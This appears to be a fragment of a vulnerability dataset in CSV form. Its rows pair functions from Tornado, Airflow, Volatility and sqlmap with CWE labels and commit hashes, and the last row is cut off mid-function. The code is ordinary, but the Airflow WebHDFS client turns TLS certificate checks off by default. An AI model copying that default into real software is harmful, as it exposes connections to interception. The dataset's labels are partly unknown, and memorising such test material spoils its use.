        path = os.path.join(os.path.dirname(os.path.abspath(__file__)),
                            'static/robots.txt')
        response = self.get_and_head('/root_static' + urllib_parse.quote(path))
        self.assertEqual(response.code, 200)",CWE-Unknown,tornadoweb/tornado,dc5657c40c15e7689409544428efef5f65f4328e,"def test_root_static_path(self):
        # Sometimes people set the StaticFileHandler's path to '/'
        # to disable Tornado's path validation (in conjunction with
        # their own validation in get_absolute_path). Make sure
        # that the stricter validation in 4.2.1 doesn't break them.
        path = os.path.join(os.path.dirname(__file__), 'static/robots.txt')
        response = self.get_and_head('/root_static' + path)
        self.assertEqual(response.code, 200)"
,UNKNOWN,UNKNOWN,providers/tests/google/cloud/secrets/test_secret_manager.py,1,"def test_get_conn_uri(self, mock_client_callable, mock_get_creds, connections_prefix):
        mock_get_creds.return_value = CREDENTIALS, PROJECT_ID
        mock_client = mock.MagicMock()
        mock_client_callable.return_value = mock_client

        test_response = AccessSecretVersionResponse()
        test_response.payload.data = CONN_URI.encode(""UTF-8"")
        mock_client.access_secret_version.return_value = test_response

        secrets_manager_backend = CloudSecretManagerBackend(connections_prefix=connections_prefix)
        secret_id = secrets_manager_backend.build_path(connections_prefix, CONN_ID, SEP)
        returned_uri = secrets_manager_backend.get_conn_value(conn_id=CONN_ID)
        assert returned_uri == CONN_URI
        mock_client.secret_version_path.assert_called_once_with(PROJECT_ID, secret_id, ""latest"")",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_get_conn_uri(self, mock_client_callable, mock_get_creds, connections_prefix):
        mock_get_creds.return_value = CREDENTIALS, PROJECT_ID
        mock_client = mock.MagicMock()
        mock_client_callable.return_value = mock_client

        test_response = AccessSecretVersionResponse()
        test_response.payload.data = CONN_URI.encode(""UTF-8"")
        mock_client.access_secret_version.return_value = test_response

        secrets_manager_backend = CloudSecretManagerBackend(connections_prefix=connections_prefix)
        secret_id = secrets_manager_backend.build_path(connections_prefix, CONN_ID, SEP)
        returned_uri = secrets_manager_backend.get_conn_value(conn_id=CONN_ID)
        assert CONN_URI == returned_uri
        mock_client.secret_version_path.assert_called_once_with(PROJECT_ID, secret_id, ""latest"")"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/raw2dmp.py,0,"def calculate(self):

        blocksize = self._config.BLOCKSIZE
        self._config.WRITE = True
        pspace = utils.load_as(self._config, astype = 'physical')
        vspace = utils.load_as(self._config)

        memory_model = pspace.profile.metadata.get('memory_model', '32bit')

        if memory_model == ""64bit"":
            header_format = '_DMP_HEADER64'
        else:
            header_format = '_DMP_HEADER'

        headerlen = pspace.profile.get_obj_size(header_format)
        headerspace = addrspace.BufferAddressSpace(self._config, 0, ""PAGE"" * (headerlen / 4))
        header = obj.Object(header_format, offset = 0, vm = headerspace)

        kuser = obj.Object(""_KUSER_SHARED_DATA"",
                          offset = obj.VolMagic(vspace).KUSER_SHARED_DATA.v(),
                          vm = vspace)
        kdbg = obj.Object(""_KDDEBUGGER_DATA64"",
                          offset = obj.VolMagic(vspace).KDBG.v(),
                          vm = vspace)

        # Scanning the memory region near KDDEBUGGER_DATA64 for 
        # DBGKD_GET_VERSION64
        dbgkd = kdbg.dbgkd_version64()

        # Set the correct file magic
        for i in range(len(""PAGE"")):
            header.Signature[i] = [ ord(x) for x in ""PAGE""][i]

        # Write the KeDebuggerDataBlock and ValidDump headers
        dumptext = ""DUMP""
        header.KdDebuggerDataBlock = kdbg.obj_offset
        if memory_model == ""64bit"":
            dumptext = ""DU64""
            header.KdDebuggerDataBlock = kdbg.obj_offset | 0xFFFF000000000000
        for i in range(len(dumptext)):
            header.ValidDump[i] = ord(dumptext[i])

        # The PaeEnabled member is essential for x86 crash files
        if memory_model == ""32bit"":
            if hasattr(vspace, ""pae"") and vspace.pae == True:
                header.PaeEnabled = 0x1
            else:
                header.PaeEnabled = 0x0

        # Set members of the crash header
        header.MajorVersion = dbgkd.MajorVersion
        header.MinorVersion = dbgkd.MinorVersion
        header.DirectoryTableBase = vspace.dtb
        header.PfnDataBase = kdbg.MmPfnDatabase
        header.PsLoadedModuleList = kdbg.PsLoadedModuleList
        header.PsActiveProcessHead = kdbg.PsActiveProcessHead
        header.MachineImageType = dbgkd.MachineType

        # Find the number of processors 
        header.NumberProcessors = len(list(kdbg.kpcrs()))

        # In MS crash dumps, SystemTime will not be set. It will 
        # represent the ""Debug session time:"".  We are 
        # using the member to represent the time the sample was
        # collected. 
        header.SystemTime = kuser.SystemTime.as_windows_timestamp()

        # Zero out the BugCheck members
        header.BugCheckCode = 0x00000000
        header.BugCheckCodeParameter[0] = 0x00000000
        header.BugCheckCodeParameter[1] = 0x00000000
        header.BugCheckCodeParameter[2] = 0x00000000
        header.BugCheckCodeParameter[3] = 0x00000000

        # Set the sample run information
        num_pages = sum([ size for (_, size) in pspace.get_available_addresses()]) / 0x1000
        header.PhysicalMemoryBlockBuffer.NumberOfRuns = 0x00000001
        header.PhysicalMemoryBlockBuffer.NumberOfPages = num_pages
        header.PhysicalMemoryBlockBuffer.Run[0].BasePage = 0x0000000000000000
        header.PhysicalMemoryBlockBuffer.Run[0].PageCount = num_pages
        header.RequiredDumpSpace = (num_pages + 2) * 0x1000

        # Zero out the remaining non-essential fields
        ContextRecordOffset = headerspace.profile.get_obj_offset(header_format, ""ContextRecord"")
        ExceptionOffset = headerspace.profile.get_obj_offset(header_format, ""Exception"")
        headerspace.write(ContextRecordOffset, ""\x00"" * (ExceptionOffset - ContextRecordOffset))

        # Set the ""converted"" comment
        CommentOffset = headerspace.profile.get_obj_offset(header_format, ""Comment"")
        headerspace.write(CommentOffset, ""File was converted with Volatility"" + ""\x00"")

        # Yield the header
        yield 0, headerspace.read(0, headerlen)

        # Physical offset of the KPCR for CPU #0
        kpcr_phys = vspace.vtop(list(kdbg.kpcrs())[0].obj_offset)
        kpcr_size = vspace.profile.get_obj_size(""_KPCR"")
    
        # Write the main body
        for s, l in pspace.get_available_addresses():
            for i in range(s, s + l, blocksize):
                size_to_write = min(blocksize, s + l - i)
                data_to_write = pspace.read(i, size_to_write)
                # Found a block that fully contains the KPCR structure 
                if kpcr_phys >= i and kpcr_phys + kpcr_size < i + size_to_write:
                    # Isolate the KPCR bytes from the block 
                    kpcr_data = data_to_write[kpcr_phys - i : kpcr_phys - i + kpcr_size]
                    # Create an AS for the KPCR bytes 
                    kpcr_space = addrspace.BufferAddressSpace(self._config, base_offset = 0, data = kpcr_data)
                    # A KPCR object in the new AS
                    kpcr = obj.Object(""_KPCR"", offset = 0, vm = kpcr_space)
                    # Account for differences in the KPCR member names 
                    if memory_model == ""32bit"":
                        kpcr.PrcbData.ProcessorState.ContextFrame.SegGs = 0x00
                        kpcr.PrcbData.ProcessorState.ContextFrame.SegCs = 0x08
                        kpcr.PrcbData.ProcessorState.ContextFrame.SegDs = 0x23
                        kpcr.PrcbData.ProcessorState.ContextFrame.SegEs = 0x23
                        kpcr.PrcbData.ProcessorState.ContextFrame.SegFs = 0x30
                        kpcr.PrcbData.ProcessorState.ContextFrame.SegSs = 0x10
                    else:
                        kpcr.Prcb.ProcessorState.ContextFrame.SegGs = 0x00
                        kpcr.Prcb.ProcessorState.ContextFrame.SegCs = 0x18
                        kpcr.Prcb.ProcessorState.ContextFrame.SegDs = 0x2b
                        kpcr.Prcb.ProcessorState.ContextFrame.SegEs = 0x2b
                        kpcr.Prcb.ProcessorState.ContextFrame.SegFs = 0x53
                        kpcr.Prcb.ProcessorState.ContextFrame.SegSs = 0x18                    
                    # Get the modified data back as a byte buffer 
                    new_data = kpcr_space.read(0, kpcr_size)
                    # Splice the changes into our original block
                    data_to_write = data_to_write[0: kpcr_phys - i] + new_data + data_to_write[kpcr_phys - i + kpcr_size:]
                yield i + headerlen, data_to_write",,volatilityfoundation/volatility,61742251769bf1e9d73c30e78ffad4c3f14856bb,"def calculate(self):

        blocksize = self._config.BLOCKSIZE
        self._config.WRITE = True
        pspace = utils.load_as(self._config, astype = 'physical')
        vspace = utils.load_as(self._config)

        memory_model = pspace.profile.metadata.get('memory_model', '32bit')

        if memory_model == ""64bit"":
            header_format = '_DMP_HEADER64'
        else:
            header_format = '_DMP_HEADER'

        headerlen = pspace.profile.get_obj_size(header_format)
        headerspace = addrspace.BufferAddressSpace(self._config, 0, ""PAGE"" * (headerlen / 4))
        header = obj.Object(header_format, offset = 0, vm = headerspace)

        kuser = obj.Object(""_KUSER_SHARED_DATA"",
                          offset = obj.VolMagic(vspace).KUSER_SHARED_DATA.v(),
                          vm = vspace)
        kdbg = obj.Object(""_KDDEBUGGER_DATA64"",
                          offset = obj.VolMagic(vspace).KDBG.v(),
                          vm = vspace)

        # Scanning the memory region near KDDEBUGGER_DATA64 for 
        # DBGKD_GET_VERSION64
        dbgkd = kdbg.dbgkd_version64()

        # Set the correct file magic
        for i in range(len(""PAGE"")):
            header.Signature[i] = [ ord(x) for x in ""PAGE""][i]

        # Write the KeDebuggerDataBlock and ValidDump headers
        dumptext = ""DUMP""
        header.KdDebuggerDataBlock = kdbg.obj_offset
        if memory_model == ""64bit"":
            dumptext = ""DU64""
            header.KdDebuggerDataBlock = kdbg.obj_offset | 0xFFFF000000000000
        for i in range(len(dumptext)):
            header.ValidDump[i] = ord(dumptext[i])

        # The PaeEnabled member is essential for x86 crash files
        if memory_model == ""32bit"":
            if hasattr(vspace, ""pae"") and vspace.pae == True:
                header.PaeEnabled = 0x1
            else:
                header.PaeEnabled = 0x0

        # Set members of the crash header
        header.MajorVersion = dbgkd.MajorVersion
        header.MinorVersion = dbgkd.MinorVersion
        header.DirectoryTableBase = vspace.dtb
        header.PfnDataBase = kdbg.MmPfnDatabase
        header.PsLoadedModuleList = kdbg.PsLoadedModuleList
        header.PsActiveProcessHead = kdbg.PsActiveProcessHead
        header.MachineImageType = dbgkd.MachineType

        # Find the number of processors 
        header.NumberProcessors = len(list(kdbg.kpcrs()))

        # In MS crash dumps, SystemTime will not be set. It will 
        # represent the ""Debug session time:"".  We are 
        # using the member to represent the time the sample was
        # collected. 
        header.SystemTime = kuser.SystemTime.as_windows_timestamp()

        # Zero out the BugCheck members
        header.BugCheckCode = 0x00000000
        header.BugCheckCodeParameter[0] = 0x00000000
        header.BugCheckCodeParameter[1] = 0x00000000
        header.BugCheckCodeParameter[2] = 0x00000000
        header.BugCheckCodeParameter[3] = 0x00000000

        # Set the sample run information
        num_pages = sum([ size for (_, size) in pspace.get_available_addresses()]) / 0x1000
        header.PhysicalMemoryBlockBuffer.NumberOfRuns = 0x00000001
        header.PhysicalMemoryBlockBuffer.NumberOfPages = num_pages
        header.PhysicalMemoryBlockBuffer.Run[0].BasePage = 0x0000000000000000
        header.PhysicalMemoryBlockBuffer.Run[0].PageCount = num_pages
        header.RequiredDumpSpace = (num_pages + 2) * 0x1000

        # Zero out the remaining non-essential fields
        ContextRecordOffset = headerspace.profile.get_obj_offset(header_format, ""ContextRecord"")
        ExceptionOffset = headerspace.profile.get_obj_offset(header_format, ""Exception"")
        headerspace.write(ContextRecordOffset, ""\x00"" * (ExceptionOffset - ContextRecordOffset))

        # Set the ""converted"" comment
        CommentOffset = headerspace.profile.get_obj_offset(header_format, ""Comment"")
        headerspace.write(CommentOffset, ""File was converted with Volatility"" + ""\x00"")

        # Yield the header
        yield 0, headerspace.read(0, headerlen)

        # Physical offset of the KPCR for CPU #0
        kpcr_phys = vspace.vtop(list(kdbg.kpcrs())[0].obj_offset)
        kpcr_size = vspace.profile.get_obj_size(""_KPCR"")
    
        # Write the main body
        for s, l in pspace.get_available_addresses():
            for i in range(s, s + l, blocksize):
                size_to_write = min(blocksize, s + l - i)
                data_to_write = pspace.read(i, size_to_write)
                # Found a block that fully contains the KPCR structure 
                if kpcr_phys >= i and kpcr_phys + kpcr_size < i + size_to_write:
                    # Isolate the KPCR bytes from the block 
                    kpcr_data = data_to_write[kpcr_phys - i : kpcr_phys - i + kpcr_size]
                    # Create an AS for the KPCR bytes 
                    kpcr_space = addrspace.BufferAddressSpace(self._config, base_offset = 0, data = kpcr_data)
                    # A KPCR object in the new AS
                    kpcr = obj.Object(""_KPCR"", offset = 0, vm = kpcr_space)
                    # Account for differences in the KPCR member names 
                    if memory_model == ""32bit"":
                        member = ""PrcbData""
                    else:
                        member = ""Prcb""
                    # Set the required CONTEXT registers 
                    kpcr.m(member).ProcessorState.ContextFrame.SegGs = 0x00
                    kpcr.m(member).ProcessorState.ContextFrame.SegCs = 0x08
                    kpcr.m(member).ProcessorState.ContextFrame.SegDs = 0x23
                    kpcr.m(member).ProcessorState.ContextFrame.SegEs = 0x23
                    kpcr.m(member).ProcessorState.ContextFrame.SegFs = 0x30
                    kpcr.m(member).ProcessorState.ContextFrame.SegSs = 0x10
                    # Get the modified data back as a byte buffer 
                    new_data = kpcr_space.read(0, kpcr_size)
                    # Splice the changes into our original block
                    data_to_write = data_to_write[0: kpcr_phys - i] + new_data + data_to_write[kpcr_phys - i + kpcr_size:]
                yield i + headerlen, data_to_write"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,providers/src/airflow/providers/apache/hdfs/hooks/webhdfs.py,0,"def _get_client(
        self, namenode: str, port: int, login: str, password: str | None, schema: str, extra_dejson: dict
    ) -> Any:
        """"""
        Get WebHDFS client.

        Additional options via ``extra``:
        - use_ssl: enable SSL connection (default: False)
        - verify: CA certificate path or boolean for SSL verification (default: False)
        - cert: client certificate path for mTLS, can be combined cert or used with ``key``
        - key: client key path for mTLS with ``cert``
        """"""
        connection_str = f""http://{namenode}""
        session = requests.Session()

        if password is not None:
            session.auth = (login, password)

        if extra_dejson.get(""use_ssl"", ""False"") == ""True"" or extra_dejson.get(""use_ssl"", False):
            connection_str = f""https://{namenode}""
            session.verify = extra_dejson.get(""verify"", False)

            # Handle mTLS certificates
            cert = extra_dejson.get(""cert"")
            key = extra_dejson.get(""key"")

            if cert:
                if key:
                    session.cert = (cert, key)
                else:
                    session.cert = cert

        if port is not None:
            connection_str += f"":{port}""

        if schema is not None:
            connection_str += f""/{schema}""

        if _kerberos_security_mode:
            return KerberosClient(connection_str, session=session)
        proxy_user = self.proxy_user or login
        return InsecureClient(connection_str, user=proxy_user, session=session)",CWE-Unknown,apache/airflow,5b898ad63cb0e59308082bcc998b2947ac2422b6,"def _get_client(
        self, namenode: str, port: int, login: str, password: str | None, schema: str, extra_dejson: dict
    ) -> Any:
        connection_str = f""http://{namenode}""
        session = requests.Session()
        if password is not None:
            session.auth = (login, password)

        if extra_dejson.get(""use_ssl"", ""False"") == ""True"" or extra_dejson.get(""use_ssl"", False):
            connection_str = f""https://{namenode}""
            session.verify = extra_dejson.get(""verify"", False)

        if port is not None:
            connection_str += f"":{port}""

        if schema is not None:
            connection_str += f""/{schema}""

        if _kerberos_security_mode:
            return KerberosClient(connection_str, session=session)
        proxy_user = self.proxy_user or login
        return InsecureClient(connection_str, user=proxy_user, session=session)"
,UNKNOWN,UNKNOWN,lib/request/connect.py,1,"def getPage(**kwargs):
        """"""
        This method connects to the target URL or proxy and returns
        the target URL page content
        """"""

        if conf.offline:
            return None, None, None

        url = kwargs.get(""url"", None) or conf.url
        get = kwargs.get(""get"", None)
        post = kwargs.get(""post"", None)
        method = kwargs.get(""method"", None)
        cookie = kwargs.get(""cookie"", None)
        ua = kwargs.get(""ua"", None) or conf.agent
        referer = kwargs.get(""referer"", None) or conf.referer
        host = kwargs.get(""host"", None) or conf.host
        direct_ = kwargs.get(""direct"", False)
        multipart = kwargs.get(""multipart"", None)
        silent = kwargs.get(""silent"", False)
        raise404 = kwargs.get(""raise404"", True)
        timeout = kwargs.get(""timeout"", None) or conf.timeout
        auxHeaders = kwargs.get(""auxHeaders"", None)
        response = kwargs.get(""response"", False)
        ignoreTimeout = kwargs.get(""ignoreTimeout"", False) or kb.ignoreTimeout or conf.ignoreTimeouts
        refreshing = kwargs.get(""refreshing"", False)
        retrying = kwargs.get(""retrying"", False)
        crawling = kwargs.get(""crawling"", False)
        checking = kwargs.get(""checking"", False)
        skipRead = kwargs.get(""skipRead"", False)
        finalCode = kwargs.get(""finalCode"", False)
        chunked = kwargs.get(""chunked"", False) or conf.chunked

        start = time.time()

        if isinstance(conf.delay, (int, float)) and conf.delay > 0:
            time.sleep(conf.delay)

        threadData = getCurrentThreadData()
        with kb.locks.request:
            kb.requestCounter += 1
            threadData.lastRequestUID = kb.requestCounter

        if conf.dummy or conf.murphyRate and randomInt() % conf.murphyRate == 0:
            if conf.murphyRate:
                time.sleep(randomInt() % (MAX_MURPHY_SLEEP_TIME + 1))

            page, headers, code = randomStr(int(randomInt()), alphabet=[_unichr(_) for _ in xrange(256)]), None, None if not conf.murphyRate else randomInt(3)

            threadData.lastPage = page
            threadData.lastCode = code

            return page, headers, code

        if multipart:
            post = multipart
        else:
            if not post:
                chunked = False

            elif chunked:
                post = _urllib.parse.unquote(post)
                post = chunkSplitPostData(post)

        webSocket = url.lower().startswith(""ws"")

        if not _urllib.parse.urlsplit(url).netloc:
            url = _urllib.parse.urljoin(conf.url, url)

        # flag to know if we are dealing with the same target host
        target = checkSameHost(url, conf.url)

        if not retrying:
            # Reset the number of connection retries
            threadData.retriesCount = 0

        # fix for known issue when urllib2 just skips the other part of provided
        # url splitted with space char while urlencoding it in the later phase
        url = url.replace("" "", ""%20"")

        if ""://"" not in url:
            url = ""http://%s"" % url

        conn = None
        page = None
        code = None
        status = None

        _ = _urllib.parse.urlsplit(url)
        requestMsg = u""HTTP request [#%d]:\r\n%s "" % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET))
        requestMsg += getUnicode((""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """")) if not any((refreshing, crawling, checking)) else url)
        responseMsg = u""HTTP response ""
        requestHeaders = u""""
        responseHeaders = None
        logHeaders = u""""
        skipLogTraffic = False

        raise404 = raise404 and not kb.ignoreNotFound

        # support for non-latin (e.g. cyrillic) URLs as urllib/urllib2 doesn't
        # support those by default
        url = asciifyUrl(url)

        try:
            socket.setdefaulttimeout(timeout)

            if direct_:
                if '?' in url:
                    url, params = url.split('?', 1)
                    params = urlencode(params)
                    url = ""%s?%s"" % (url, params)

            elif any((refreshing, crawling, checking)):
                pass

            elif target:
                if conf.forceSSL:
                    url = re.sub(r""(?i)\A(http|ws):"", r""\g<1>s:"", url)
                    url = re.sub(r""(?i):80/"", "":443/"", url)

                if PLACE.GET in conf.parameters and not get:
                    get = conf.parameters[PLACE.GET]

                    if not conf.skipUrlEncode:
                        get = urlencode(get, limit=True)

                if get:
                    if '?' in url:
                        url = ""%s%s%s"" % (url, DEFAULT_GET_POST_DELIMITER, get)
                        requestMsg += ""%s%s"" % (DEFAULT_GET_POST_DELIMITER, get)
                    else:
                        url = ""%s?%s"" % (url, get)
                        requestMsg += ""?%s"" % get

                if PLACE.POST in conf.parameters and not post and method != HTTPMETHOD.GET:
                    post = conf.parameters[PLACE.POST]

            elif get:
                url = ""%s?%s"" % (url, get)
                requestMsg += ""?%s"" % get

            requestMsg += "" %s"" % _http_client.HTTPConnection._http_vsn_str

            # Prepare HTTP headers
            headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host}, base=None if target else {})

            if HTTP_HEADER.COOKIE in headers:
                cookie = headers[HTTP_HEADER.COOKIE]

            if kb.authHeader:
                headers[HTTP_HEADER.AUTHORIZATION] = kb.authHeader

            if kb.proxyAuthHeader:
                headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader

            if not conf.requestFile or not target:
                if not getHeader(headers, HTTP_HEADER.HOST):
                    headers[HTTP_HEADER.HOST] = getHostHeader(url)

                if not getHeader(headers, HTTP_HEADER.ACCEPT):
                    headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE

                if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING):
                    headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else ""identity""

            elif conf.requestFile and getHeader(headers, HTTP_HEADER.USER_AGENT) == DEFAULT_USER_AGENT:
                for header in headers:
                    if header.upper() == HTTP_HEADER.USER_AGENT.upper():
                        del headers[header]
                        break

            if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE):
                headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE)

            if headers.get(HTTP_HEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[POST_HINT.MULTIPART]:
                warnMsg = ""missing 'boundary parameter' in '%s' header. "" % HTTP_HEADER.CONTENT_TYPE
                warnMsg += ""Will try to reconstruct""
                singleTimeWarnMessage(warnMsg)

                boundary = findMultipartPostBoundary(conf.data)
                if boundary:
                    headers[HTTP_HEADER.CONTENT_TYPE] = ""%s; boundary=%s"" % (headers[HTTP_HEADER.CONTENT_TYPE], boundary)

            if conf.keepAlive:
                headers[HTTP_HEADER.CONNECTION] = ""keep-alive""

            if chunked:
                headers[HTTP_HEADER.TRANSFER_ENCODING] = ""chunked""

            if auxHeaders:
                headers = forgeHeaders(auxHeaders, headers)

            if kb.headersFile:
                content = openFile(kb.headersFile, ""rb"").read()
                for line in content.split(""\n""):
                    line = getText(line.strip())
                    if ':' in line:
                        header, value = line.split(':', 1)
                        headers[header] = value

            for key, value in list(headers.items()):
                del headers[key]
                if isinstance(value, six.string_types):
                    for char in (r""\r"", r""\n""):
                        value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", value)
                    headers[getBytes(key) if six.PY2 else key] = getBytes(value.strip(""\r\n""))  # Note: Python3 has_header() expects non-bytes value

            if six.PY2:
                url = getBytes(url)  # Note: Python3 requires text while Python2 has problems when mixing text with binary POST

            post = getBytes(post)

            if webSocket:
                ws = websocket.WebSocket()
                ws.settimeout(timeout)
                ws.connect(url, header=(""%s: %s"" % _ for _ in headers.items() if _[0] not in (""Host"",)), cookie=cookie)  # WebSocket will add Host field of headers automatically
                ws.send(urldecode(post or """"))
                page = ws.recv()
                ws.close()
                code = ws.status
                status = _http_client.responses[code]

                class _(dict):
                    pass

                responseHeaders = _(ws.getheaders())
                responseHeaders.headers = [""%s: %s\r\n"" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()]

                requestHeaders += ""\r\n"".join([""%s: %s"" % (getUnicode(key.capitalize() if hasattr(key, ""capitalize"") else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                requestMsg += ""\r\n""

                threadData.lastRequestMsg = requestMsg

                logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
            else:
                if method and method not in (HTTPMETHOD.GET, HTTPMETHOD.POST):
                    req = MethodRequest(url, post, headers)
                    req.set_method(method)
                elif url is not None:
                    req = _urllib.request.Request(url, post, headers)
                else:
                    return None, None, None

                requestHeaders += ""\r\n"".join([""%s: %s"" % (getUnicode(key.capitalize() if hasattr(key, ""capitalize"") else key), getUnicode(value)) for (key, value) in req.header_items()])

                if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
                    conf.cj._policy._now = conf.cj._now = int(time.time())
                    cookies = conf.cj._cookies_for_request(req)
                    requestHeaders += ""\r\n%s"" % (""Cookie: %s"" % "";"".join(""%s=%s"" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies))

                if post is not None:
                    if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH) and not chunked:
                        requestHeaders += ""\r\n%s: %d"" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post))

                if not getRequestHeader(req, HTTP_HEADER.CONNECTION):
                    requestHeaders += ""\r\n%s: %s"" % (HTTP_HEADER.CONNECTION, ""close"" if not conf.keepAlive else ""keep-alive"")

                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                if not chunked:
                    requestMsg += ""\r\n""

                if not multipart:
                    threadData.lastRequestMsg = requestMsg

                    logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)

                if conf.cj:
                    for cookie in conf.cj:
                        if cookie.value is None:
                            cookie.value = """"
                        else:
                            for char in (r""\r"", r""\n""):
                                cookie.value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", cookie.value)

                conn = _urllib.request.urlopen(req)

                if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or """").lower() == AUTH_TYPE.BASIC.lower():
                    kb.authHeader = getRequestHeader(req, HTTP_HEADER.AUTHORIZATION)

                if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION):
                    kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION)

                # Return response object
                if response:
                    return conn, None, None

                # Get HTTP response
                if hasattr(conn, ""redurl""):
                    page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None
                    skipLogTraffic = kb.redirectChoice == REDIRECTION.NO
                    code = conn.redcode if not finalCode else code
                else:
                    page = Connect._connReadProxy(conn) if not skipRead else None

                if conn:
                    code = (code or conn.code) if conn.code == kb.originalCode else conn.code  # do not override redirection code (for comparison purposes)
                    responseHeaders = conn.info()
                    responseHeaders[URI_HTTP_HEADER] = conn.geturl()
                    patchHeaders(responseHeaders)
                    kb.serverHeader = responseHeaders.get(HTTP_HEADER.SERVER, kb.serverHeader)
                else:
                    code = None
                    responseHeaders = {}

                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
                status = getUnicode(conn.msg) if conn and getattr(conn, ""msg"", None) else None

            kb.connErrorCounter = 0

            if not refreshing:
                refresh = responseHeaders.get(HTTP_HEADER.REFRESH, """").split(""url="")[-1].strip()

                if extractRegexResult(META_REFRESH_REGEX, page):
                    refresh = extractRegexResult(META_REFRESH_REGEX, page)

                    debugMsg = ""got HTML meta refresh header""
                    logger.debug(debugMsg)

                if not refresh:
                    refresh = extractRegexResult(JAVASCRIPT_HREF_REGEX, page)

                    if refresh:
                        debugMsg = ""got Javascript redirect request""
                        logger.debug(debugMsg)

                if refresh:
                    if kb.alwaysRefresh is None:
                        msg = ""got a refresh request ""
                        msg += ""(redirect like response common to login pages) to '%s'. "" % refresh
                        msg += ""Do you want to apply the refresh ""
                        msg += ""from now on (or stay on the original page)? [Y/n]""

                        kb.alwaysRefresh = readInput(msg, default='Y', boolean=True)

                    if kb.alwaysRefresh:
                        if re.search(r""\Ahttps?://"", refresh, re.I):
                            url = refresh
                        else:
                            url = _urllib.parse.urljoin(url, refresh)

                        threadData.lastRedirectMsg = (threadData.lastRequestUID, page)
                        kwargs[""refreshing""] = True
                        kwargs[""url""] = url
                        kwargs[""get""] = None
                        kwargs[""post""] = None

                        try:
                            return Connect._getPageProxy(**kwargs)
                        except SqlmapSyntaxException:
                            pass

            # Explicit closing of connection object
            if conn and not conf.keepAlive:
                try:
                    if hasattr(conn.fp, '_sock'):
                        conn.fp._sock.close()
                    conn.close()
                except Exception as ex:
                    warnMsg = ""problem occurred during connection closing ('%s')"" % getSafeExString(ex)
                    logger.warn(warnMsg)

        except SqlmapConnectionException as ex:
            if conf.proxyList and not kb.threadException:
                warnMsg = ""unable to connect to the target URL ('%s')"" % ex
                logger.critical(warnMsg)
                threadData.retriesCount = conf.retries
                return Connect._retryProxy(**kwargs)
            else:
                raise

        except _urllib.error.HTTPError as ex:
            page = None
            responseHeaders = None

            if checking:
                return None, None, None

            try:
                page = ex.read() if not skipRead else None
                responseHeaders = ex.info()
                responseHeaders[URI_HTTP_HEADER] = ex.geturl()
                patchHeaders(responseHeaders)
                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
            except socket.timeout:
                warnMsg = ""connection timed out while trying ""
                warnMsg += ""to get error page information (%d)"" % ex.code
                logger.warn(warnMsg)
                return None, None, None
            except KeyboardInterrupt:
                raise
            except:
                pass
            finally:
                page = getUnicode(page)

            code = ex.code
            status = getUnicode(getattr(ex, ""reason"", None) or getSafeExString(ex).split("": "", 1)[-1])

            kb.originalCode = kb.originalCode or code
            threadData.lastHTTPError = (threadData.lastRequestUID, code, status)
            kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1

            responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders:
                logHeaders = getUnicode("""".join(responseHeaders.headers).strip())

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE]), start, time.time())

            skipLogTraffic = True

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

            if ex.code not in (conf.ignoreCode or []):
                if ex.code == _http_client.UNAUTHORIZED:
                    errMsg = ""not authorized, try to provide right HTTP ""
                    errMsg += ""authentication type and valid credentials (%d)"" % code
                    raise SqlmapConnectionException(errMsg)
                elif chunked and ex.code in (_http_client.METHOD_NOT_ALLOWED, _http_client.LENGTH_REQUIRED):
